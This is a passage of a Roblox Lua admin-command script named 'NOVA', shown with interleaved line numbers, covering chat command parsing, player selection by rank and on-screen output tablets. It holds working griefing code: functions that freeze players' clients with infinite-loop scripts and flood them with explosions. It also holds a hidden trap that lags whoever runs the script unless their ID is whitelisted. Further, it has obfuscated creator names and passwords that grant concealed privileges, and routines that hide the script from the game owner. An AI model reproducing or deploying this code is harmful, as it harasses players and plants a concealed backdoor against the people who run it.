                            return Child:IsA(Name) or Child:IsA(Name:lower())
827
                        elseif SearchType == 4 then
828
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
829
                        end
830
                        return false
831
                    end)() then
832
                        table.insert(Children, Child)
833
                    end
834
                    GetRecursiveChildren(Child, Name, SearchType, Children)
835
                end)
836
            end
837
        end)
838
    elseif type(Source) == "table" then
839
        for _,Area in pairs(Source) do
840
            pcall(function()
841
                for _, Child in pairs(Area:children()) do
842
                    pcall(function()
843
                        if (function()
844
                            if SearchType == nil or SearchType == 1 then
845
                                return string.match(Child.Name:lower(), Name:lower())
846
                            elseif SearchType == 2 then
847
                                return string.match(Child.className:lower(), Name:lower())
848
                            elseif SearchType == 3 then
849
                                return Child:IsA(Name) or Child:IsA(Name:lower())
850
                            elseif SearchType == 4 then
851
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
852
                            end
853
                            return false
854
                        end)() then
855
                            table.insert(Children, Child)
856
                        end
857
                        GetRecursiveChildren(Child, Name, SearchType, Children)
858
                    end)
859
                end
860
            end)
861
        end
862
    else
863
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
864
    end
865
    return Children
866
end
867
 
868
--[[ GET REPLICATORS ]]--
869
function GetReplicators()
870
    Rtn = NOVA.Services.NetworkServer:GetChildren()
871
    for i=1,#Rtn do
872
        if not Rtn[i]:IsA("ServerReplicator") then
873
            table.remove(Rtn,i)
874
        end
875
    end
876
    return Rtn
877
end
878
 
879
--[[ GET RANKED ]]--
880
 
881
function GetRanked()
882
    local Rtn = {}
883
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
884
        if GetRank(v) ~= nil and GetRank(v) > 0 then
885
            table.insert(Rtn,v)
886
        end
887
    end
888
    return Rtn    
889
end
890
 
891
--[[ GTFO ]]--
892
function GTFO(v)
893
    coroutine.resume(coroutine.create(function()
894
        pcall(function()    CreateLocalScript("while true do end",v.Backpack)    end)
895
        pcall(function()    CreateLocalScript("while true do end",v.Character)    end)
896
        wait(0.5)
897
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
898
    end))
899
end
900
--[[ GET RID OF ]]--
901
 
902
function GetRidOf(v)
903
   
904
 if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
905
   
906
    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
907
 
908
   else
909
        pcall(function()
910
           
911
 coroutine.resume(coroutine.create(function()
912
           
913
v:Destroy()        
914
end))
915
       
916
end)
917
   
918
end
919
 
920
end
921
 
922
--[[ LAG ]]--
923
function Lag(v)
924
    coroutine.resume(coroutine.create(function()
925
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
926
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
927
        else
928
        while wait() do
929
        for i=1, 10 do
930
        local Msg = Instance.new("Message",v.PlayerGui)
931
        Msg.Text = "JOO B LAGGIN NARB"
932
        local Blas = Instance.new("Explosion",v.PlayerGui)
933
        Blas.BlastRadius = 123456
934
   end
935
        end
936
            local H = Instance.new("Hint",NOVA.Services.Workspace)
937
            repeat
938
                H.Text = v.Name.." be gettin' lagged."
939
                H.Parent = NOVA.Services.Workspace
940
                wait()
941
            until v.Parent == nil
942
            H:Remove()
943
        end
944
    end))
945
end
946
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
947
--[[ GET TABLETS ]]--
948
 
949
function GetTablets(Player)
950
    local Rtn = {}
951
    for _, Tablet in pairs(NOVA.Tablets) do
952
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
953
            if Tablet.Recipient.Value == Player then
954
                table.insert(Rtn, Tablet)
955
            end
956
        end
957
    end
958
    --table.insert(_tablets,Instance.new("Model"))
959
    return Rtn
960
end
961
 
962
--[[ REMOVE TABLETS ]]--
963
 
964
function RemoveTablets(Player)
965
    if Player == nil then
966
        for _,v in pairs(NOVA.Tablets) do
967
            coroutine.resume(coroutine.create(function()
968
                for i=1,10 do
969
                    v.Part.Transparency = v.Part.Transparency + 0.05
970
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
971
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
972
                    wait()
973
                end
974
                v:remove()
975
            end))
976
        end
977
    else
978
        for _,v in pairs(GetTablets(Player)) do
979
            coroutine.resume(coroutine.create(function()
980
                for i=1,10 do
981
                    v.Part.Transparency = v.Part.Transparency + 0.05
982
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
983
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
984
                    wait()
985
                end
986
                v:remove()
987
            end))
988
        end
989
    end
990
end
991
 
992
--[[ OUTPUT ]]--
993
function Output(Message, Color, Player, Stick, Func)
994
    if Player == nil or Color == nil or Player == nil then
995
        print("[NOVA.Output] Argument(s) missing or nil.")
996
        return
997
    end
998
   
999
    Message = tostring(Message)
1000
    if type(Player) == "userdata" then
1001
        if Player.Character == nil or Player.Character.Head == nil then
1002
            return
1003
        end
1004
    end
1005
    if type(Player) == "string" then
1006
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1007
            Output(Message,Color,v,Stick,Func)
1008
        end
1009
        return
1010
    end
1011
 
1012
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1013
 
1014
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1015
    table.insert(NOVA.Tablets, Model)
1016
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1017
 
1018
    local Part = Instance.new("Part",Model)
1019
    Part.Transparency = 0.5
1020
    Part.CanCollide = false
1021
    Part.Locked = true
1022
    Part.Anchored = true
1023
    Part.Name = "Part"
1024
    Part.TopSurface = "Smooth"
1025
    Part.BottomSurface = "Smooth"
1026
    Part.FormFactor = "Plate"
1027
    Part.Color = Color
1028
    Part.Size = Vector3.new(2, 0.4, 3)
1029
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1030
    Part:BreakJoints()
1031
   
1032
    local Box = Instance.new("SelectionBox",Part)
1033
    Box.Name = "SelectionBox"
1034
    Box.Adornee = Part
1035
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1036
    Box.Transparency = 0.75
1037
 
1038
    local Recipient = Instance.new("ObjectValue",Model)
1039
    Recipient.Name = "Recipient"
1040
    Recipient.Value = Player
1041
 
1042
Gui = Instance.new("BillboardGui")
1043
Gui.Name = "BillboardGui"
1044
Gui.Parent = Model
1045
Gui.Adornee = Part
1046
Gui.Size = UDim2.new(1, 0, 1, 0)
1047
Gui.StudsOffset = Vector3.new(0, 3, 0)
1048
local Frame = Instance.new("Frame",Gui)
1049
Frame.Name = "Frame"
1050
Frame.Size = UDim2.new(1, 0, 1, 0)
1051
Frame.BackgroundTransparency = 1
1052
Label = Instance.new("TextLabel")
1053
Label.Name = "Label"
1054
Label.Parent = Frame
1055
Label.Size = UDim2.new(1,0,1,0)
1056
Label.FontSize = "Size12"
1057
Label.TextColor3 = Color
1058
Label.Text = Message
1059
Label.BackgroundTransparency = 1
1060
   
1061
    local Click = Instance.new("ClickDetector",Part)
1062
    Click.MaxActivationDistance = 9201
1063
    Click.MouseClick:connect(function(player)
1064
        if player == Player or GetRank(player) > GetRank(Player) then
1065
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1066
                RemoveTablets(Player)
1067
            else
1068
                coroutine.resume(coroutine.create(function()
1069
                    for i=1,10 do
1070
                        Part.Transparency = Part.Transparency + 0.05
1071
                        Box.Transparency = Box.Transparency + 0.025
1072
                        Label.TextTransparency = Label.TextTransparency + 0.1
1073
                        wait()
1074
                    end
1075
                    Model:remove()
1076
                end))
1077
               
1078
                Func(player)
1079
            end
1080
        end
1081
    end)
1082
   
1083
     coroutine.resume(coroutine.create(function()
1084
        if Stick == 0 or Stick == nil then else
1085
            pcall(function()
1086
                --[[for i=Stick,0,-0.5 do
1087
                    Label.Text = Message .. "\t(" .. i .. ")"
1088
                    wait(0.5)
1089
                end        
1090
                Model:Destroy()]]
1091
                NOVA.Services.Debris:AddItem(Model,Stick)
1092
            end)
1093
        end
1094
     end))
1095
   
1096
    return Click
1097
end
1098
 
1099
-- [ IMAGE OUTPUT ]]--
1100
function OutputImg(Image,Text,Color,Player,Stick,Func)
1101
    Tab = Output(Text,Color,Player,Stick,Func)
1102
   
1103
    BBG = Instance.new("BillboardGui",Tab.Parent)
1104
    BBG.Size = UDim2.new(5,0,6,0)
1105
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1106
    BBG.Adornee = Tab.Parent
1107
   
1108
    Img = Instance.new("ImageLabel",BBG)
1109
    Img.Size = UDim2.new(1,0,1,0)
1110
    Img.BackgroundTransparency = 1
1111
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1112
    return Tab
1113
end
1114
 
1115
--[[ OUTPUT MULTI ]]--
1116
 
1117
function OutputMulti(Msg,Color,Players,Stick,Func)
1118
    --if type(Players) == "Table" then
1119
        for _,v in pairs(Players) do
1120
            Output(Msg,Color,v,Stick,Func)
1121
        end
1122
    --end
1123
end
1124
 
1125
--[[ UPDATE TABLETS ]]--
1126
 
1127
function UpdateTablets()
1128
    --pcall(function()
1129
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1130
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1131
            local Tablets = GetTablets(Player)
1132
            local Counter = 0
1133
            local StartCF = CFrame.new(0,0,0)
1134
           
1135
            for i = 180, -180, -360/(#Tablets ) do
1136
                pcall(function()
1137
                    Counter = Counter + 1
1138
                    if NOVA.TabletPositionRelative == true then
1139
                        StartCF = Player.Character.Torso.CFrame
1140
                    else
1141
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1142
                    end
1143
                    Tablets[Counter].Part.CFrame = StartCF
1144
                        * CFrame.new(0, 0, 0)
1145
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1146
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1147
                        * CFrame.Angles(math.rad(70), 0, 0)
1148
                end)
1149
            end
1150
 
1151
            if #Tablets == 1 then
1152
                pcall(function()
1153
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1154
                        * CFrame.new(0, 0, 0)
1155
                        * CFrame.Angles(0, math.rad(0), 0)
1156
                        * CFrame.new(0, 0, -5)
1157
                        * CFrame.Angles(math.rad(70), 0, 0)
1158
                end)
1159
            end
1160
        end
1161
        wait()
1162
    --end)
1163
end
1164
--[[ GET PLAYERS RAW ]]--
1165
function GetPlayersRaw()
1166
    return NOVA.Services.Players:GetPlayers()
1167
end
1168
 
1169
--[[ GET PLAYERS ]]--
1170
function GetPlayers(Name,Speaker)
1171
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1172
    local OldName = Name
1173
    local Name = Name:lower()
1174
    local Players = GetPlayersRaw()
1175
    local Rtn = {}
1176
    for i=1,#Name do
1177
        if Name:find(",") then
1178
            local Split = 0
1179
            for i=1,#Name do
1180
                if Name:sub(i,i) == "," then
1181
                    Split = i
1182
                end
1183
            end
1184
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1185
                table.insert(Rtn,v)
1186
            end
1187
            Name = Name:sub(1,Split-1)
1188
        end
1189
    end
1190
    if Name == "external players" then
1191
        for _,v in pairs(NOVA.ExternalPlayersList) do
1192
            if GetRank(Speaker) >= GetRank(v) then
1193
                table.insert(Rtn,v)
1194
            else
1195
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1196
            end
1197
        end
1198
    elseif Name == "all" then
1199
        for _,v in pairs(Players) do
1200
            if GetRank(Speaker) >= GetRank(v) then
1201
                table.insert(Rtn,v)
1202
            else
1203
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1204
            end
1205
        end
1206
    elseif Name == "others" then
1207
        for _,v in pairs(Players) do
1208
            if v ~= Speaker then
1209
                if GetRank(Speaker) >= GetRank(v) then
1210
                    table.insert(Rtn,v)
1211
                else
1212
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1213
                end
1214
            end
1215
        end
1216
    elseif Name == "random" then
1217
        local Person = Players[math.random(1,#Players)]
1218
        if GetRank(Speaker) >= GetRank(Person) then
1219
            table.insert(Rtn,Person)
1220
        else
1221
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1222
        end
1223
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1224
        table.insert(Rtn,Speaker)
1225
    elseif Name == "vetrans" then
1226
        for _,v in pairs(Players) do
1227
            if v.AccountAge > 365 then
1228
                if GetRank(Speaker) >= GetRank(v) then
1229
                    table.insert(Rtn,v)
1230
                else
1231
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1232
                end
1233
            end
1234
        end
1235
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1236
        for _,v in pairs(Players) do
1237
            if v.AccountAge < 365 then
1238
                if GetRank(Speaker) >= GetRank(v) then
1239
                    table.insert(Rtn,v)
1240
                else
1241
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1242
                end
1243
            end    
1244
        end
1245
    elseif Name == "newbs" or Name == "noobs" then
1246
        for _,v in pairs(Players) do
1247
            if v.AccountAge < 60 then
1248
                if GetRank(Speaker) >= GetRank(v) then
1249
                    table.insert(Rtn,v)
1250
                else
1251
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1252
                end
1253
            end    
1254
        end
1255
    elseif Name == "targeted" then
1256
        for _,v in pairs(NOVA.Targeted) do
1257
            if GetRank(Speaker) >= GetRank(v) then
1258
                table.insert(Rtn,v)
1259
            else
1260
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1261
            end
1262
        end
1263
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1264
        for _,v in pairs(Players) do
1265
            if not IsTargeted(v) then
1266
                if GetRank(Speaker) >= GetRank(v) then
1267
                    table.insert(Rtn,v)
1268
                else
1269
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1270
                end
1271
            end
1272
        end
1273
elseif string.sub(Name,1,5) == "rank " then
1274
        local ToKillRank = string.sub(Name,6)
1275
for i,v in pairs(game.Players:GetPlayers()) do
1276
if GetRanked(v) == ToKillRank then
1277
if GetRank(Speaker) >= GetRank(v) then
1278
                            table.insert(Rtn,v)
1279
                        else
1280
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1281
                        end
1282
end
1283
end
1284
    elseif Name:sub(1,4) == "not " then
1285
        for _,v in pairs(Players) do
1286
            for _,Check in pairs(Players) do
1287
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1288
                    if v ~= Check then
1289
                        if GetRank(Speaker) >= GetRank(v) then
1290
                            table.insert(Rtn,v)
1291
                        else
1292
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1293
                        end
1294
                    end
1295
                end
1296
            end
1297
        end
1298
    else
1299
        for _,v in pairs(Players) do
1300
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1301
                if GetRank(Speaker) >= GetRank(v) then
1302
                    table.insert(Rtn,v)
1303
                else
1304
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1305
                end
1306
            end
1307
        end
1308
    end
1309
    return Rtn
1310
end
1311
 
1312
--[[ ON CHATTED ]]--
1313
function OnChatted(Msg,Speaker)
1314
    coroutine.resume(coroutine.create(function()
1315
        if NOVA.Removed == false then
1316
            if Msg:find(" --") then
1317
                for i=1,#Msg do
1318
                    if Msg:sub(i,i+2) == " --" then
1319
                        Msg = Msg:sub(1,i-1)
1320
                        break
1321
                    end
1322
                end
1323
            end
1324
            local Data = GetRankedTable(Speaker)
1325
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1326
                if NOVA.ShowChat == true then    
1327
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1328
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1329
                    else
1330
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1331
                    end
1332
                end
1333
            end
1334
           
1335
            --[[ CHAT FILTERS ]]--
1336
            for _,v in pairs(NOVA.ChatFilters) do
1337
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1338
                    Msg = Msg:sub(#v+2)
1339
                end
1340
            end
1341
       
1342
            if GetRank(Speaker) < 6 then
1343
                --[[ KILLING PHRASES ]]--
1344
                for _,v in pairs(NOVA.KillingPhrases) do
1345
                    if Msg:lower():find(v:lower()) then
1346
                        pcall(function()
1347
                            Speaker.Character:BreakJoints()
1348
                        end)
1349
                    end
1350
                end
1351
            end
1352
        local FoundKick = false
1353
                if NOVA.BadPhrases == true then
1354
            if GetRank(Speaker) <= 0 then
1355
                --[[ KICKING PHRASES ]]--
1356
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1357
                    for _,v in pairs(NOVA.KickingPhrases) do
1358
                        if FoundKick == false then
1359
                        if Msg:lower():find(v:lower()) then
1360
                            GetRidOf(Speaker)
1361
                       FoundKick = true
1362
                            makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1363
                            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1364
                        end
1365
                        end
1366
                    end
1367
                end
1368
            end
1369
           
1370
            --[[ ANIMATIONS ]]--
1371
            for _,v in pairs(NOVA.Animations) do
1372
                if Speaker.Name == v.Who then
1373
                    if Msg:lower():find(v.Name:lower()) then
1374
                        pcall(function()
1375
                            CreateLocalScript([[
1376
                            local Animation = Instance.new("Animation",workspace)
1377
                            Animation.Name = "Dylanbuil's Animation"
1378
                            Animation.AnimationId = "]]..v.Id..[["
1379
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1380
                            local anim_feet = hum:LoadAnimation(Animation)
1381
                            local current = anim_feet
1382
                            current:Play(0.5)
1383
                            ]],Speaker.Backpack)
1384
                        end)
1385
                    end
1386
                end
1387
            end
1388
           
1389
            Num = 1
1390
            Sep = nil
1391
                           
1392
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1393
           
1394
                for i=4,#Msg do
1395
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1396
                        Sep = i
1397
                        break
1398
                    end
1399
                end
1400
               
1401
                if Sep ~= nil then
1402
                    Num = tonumber(Msg:sub(4,Sep-1))
1403
                end
1404
               
1405
                Msg = Msg:sub(Sep)
1406
            end
1407
           
1408
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1409
           
1410
            if Data.Rank < 6 and Data.Rank >= 0 then
1411
                if Num > (GetRank(Speaker) + 1 )*10 then
1412
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1413
                    Num = 0
1414
                end
1415
            end          
1416
            for i=1,Num do
1417
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1418
                for _,CMD in pairs(NOVA.Commands) do
1419
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1420
                        RemoveTablets(Speaker)
1421
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1422
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1423
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1424
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1425
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1426
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1427
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1428
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1429
                            if NOVA.Overrided == true and Data.Rank < 7 then
1430
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1431
                            else
1432
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1433
                                if not a then
1434
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1435
                                else
1436
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1437
                                end
1438
                            end
1439
                        else
1440
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1441
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1442
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1443
                        end
1444
                       
1445
                    end
1446
                end    
1447
                wait()
1448
            end                
1449
        end
1450
    end))
1451
end
1452
 
1453
--[[ ADD COMMAND ]]--
1454
function AddCommand(Name,Command,Rank,Description,Args,Function)
1455
    for i,v in pairs(NOVA.Commands) do
1456
        if v.Command == Command then
1457
            table.remove(NOVA.Commands,i)
1458
        end
1459
    end
1460
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1461
end
1462
 
1463
--[[ BACKUP PROCEDURE ]]--
1464
pcall(function()
1465
    NOVA.Backup = script:children()[2].Value
1466
end)
1467
 
1468
--[[ NIL SUPPORT ]]--
1469
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1470
    local Split = GetSplit(Message)
1471
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1472
end)
1473
 
1474
--[[ Safety Procedure # 1 ]]--
1475
pcall(function()
1476
    NOVA.LocalScript.Parent = nil
1477
end)
1478
for _,v in pairs(NOVA.Plugins) do
1479
    pcall(function()
1480
        v.Parent = nil
1481
    end)
1482
end
1483
pcall(function()
1484
    script:ClearAllChildren()
1485
end)
1486
 
1487
--[[ Safty Procedure # 2 ]]--
1488
for _,v in pairs(GetRecursiveChildren(workspace)) do
1489
    if v:IsA("StringValue") or v:IsA("IntValue") then
1490
        pcall(function()
1491
            v:remove()
1492
        end)
1493
    end
1494
end
1495
 
1496
--[[ SCRIPT LOGGING PROCEDURES ]]--
1497
for _,Service in pairs(NOVA.Services) do
1498
    pcall(function()
1499
        Service.DescendantAdded:connect(function(v)
1500
            if v:IsA("BaseScript") then
1501
                table.insert(NOVA.LoggedScripts,v)
1502
            end
1503
        end)
1504
    end)
1505
end
1506
 
1507
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1508
    pcall(function()
1509
        table.insert(NOVA.LoggedScripts,v)
1510
    end)
1511
end
1512
 
1513
--[[ GLOBAL FUNCTIONS ]]--
1514
function SetGlobals()
1515
    if NOVA.UseGlobals == true then
1516
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1517
            if Password == "grandma" then
1518
                NOVA.ExternalPlayersList = {}
1519
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1520
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1521
            end
1522
        end
1523
 
1524
        _G.RemoveNOVA = function(Pass)
1525
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1526
                NOVA.Removed = true
1527
                NOVA = {}
1528
                error("Unknown Exception")()
1529
                script.Disabled = true
1530
                script:Remove()
1531
            else
1532
                return false
1533
            end
1534
        end
1535
 
1536
        _G.NOVAOverride = function(Player,Password)
1537
            if Password == nil then Password = "" end
1538
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1539
            return CanOverride
1540
        end
1541
    elseif NOVA.UseGlobals == false then
1542
        _G.NOVACommands = nil
1543
        _G.RemoveNOVA = nil
1544
        _G.NOVAOverride = nil
1545
    end
1546
end
1547
 
1548
--[[ INITIAL STARTUP ]]--
1549
 
1550
SetGlobals()
1551
UpdatePlayerPlugins()
1552
 
1553
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1554
    for _,v in pairs(NOVA.LoggedScripts) do
1555
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1556
            NOVA.LocalScript = v:Clone()
1557
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1558
            NOVA.NormalScript = v:Clone()
1559
        end
1560
    end
1561
end
1562
 
1563
for _,v in pairs(GetPlayersRaw()) do
1564
    pcall(function()
1565
        coroutine.resume(coroutine.create(function()
1566
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1567
            pcall(function()
1568
                v.PlayerGui.NOVACMD:Remove()
1569
            end)
1570
           
1571
            if GetRankedTable(v)==nil then
1572
                SyncRankInSingular(v)
1573
                repeat wait() until GetRankedTable(v) ~= nil
1574
            end
1575
           
1576
            local Data = GetRankedTable(v)
1577
           
1578
            v.Chatted:connect(function(Msg)
1579
                OnChatted(Msg,v)
1580
            end)
1581
            coroutine.resume(coroutine.create(function()
1582
                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1583
                CreateLocalScript(PlayerPlugins,v.Backpack)
1584
            end))
1585
        end))
1586
    end)
1587
end
1588
 
1589
--[[ PLAYER ADDED ]]--
1590
NOVA.Services.Players.PlayerAdded:connect(function(v)
1591
    if NOVA.Removed == false then
1592
        pcall(function()
1593
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1594
            coroutine.resume(coroutine.create(function()
1595
                --if Data.Rank < 1 then
1596
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1597
                        coroutine.resume(coroutine.create(function()
1598
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1599
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1600
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1601
                        end))
1602
                    end
1603
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1604
                        coroutine.resume(coroutine.create(function()
1605
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1606
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1607
                        end))
1608
                    end
1609
                --end
1610
                v.Chatted:connect(function(Msg)
1611
                    OnChatted(Msg,v)
1612
                end)
1613
                if GetRankedTable(v)==nil then
1614
                    SyncRankInSingular(v)
1615
                    repeat wait() until GetRankedTable(v) ~= nil
1616
                end
1617
               
1618
                local Data = GetRankedTable(v)
1619
 
1620
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1621
           
1622
                if Data.Rank == -2 then
1623
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1624
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1625
                        Lag(v)
1626
                    end
1627
                end
1628
               
1629
                if Data.Rank == -1 then
1630
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1631
                        OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1632
                        GetRidOf(v)
1633
                    end
1634
                end
1635
               
1636
                if not Data.Rank > 0 then
1637
                    if v.AccountAge < 5 then
1638
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1639
                            if v.Name:sub(1,6) == "Guest " then
1640
                                if NOVA.EnableGuests == false then
1641
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1642
                                    GetRidOf(v)
1643
                                end
1644
                            else
1645
                                if not Data.Rank > 0 then
1646
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1647
                                    GetRidOf(v)
1648
                                end
1649
                            end
1650
                        end
1651
                    end
1652
                end
1653
               
1654
                if NOVA.PRI == true then
1655
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
1656
                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1657
                        if NOVA.PRIType == "Kick" then
1658
                            v:Remove()
1659
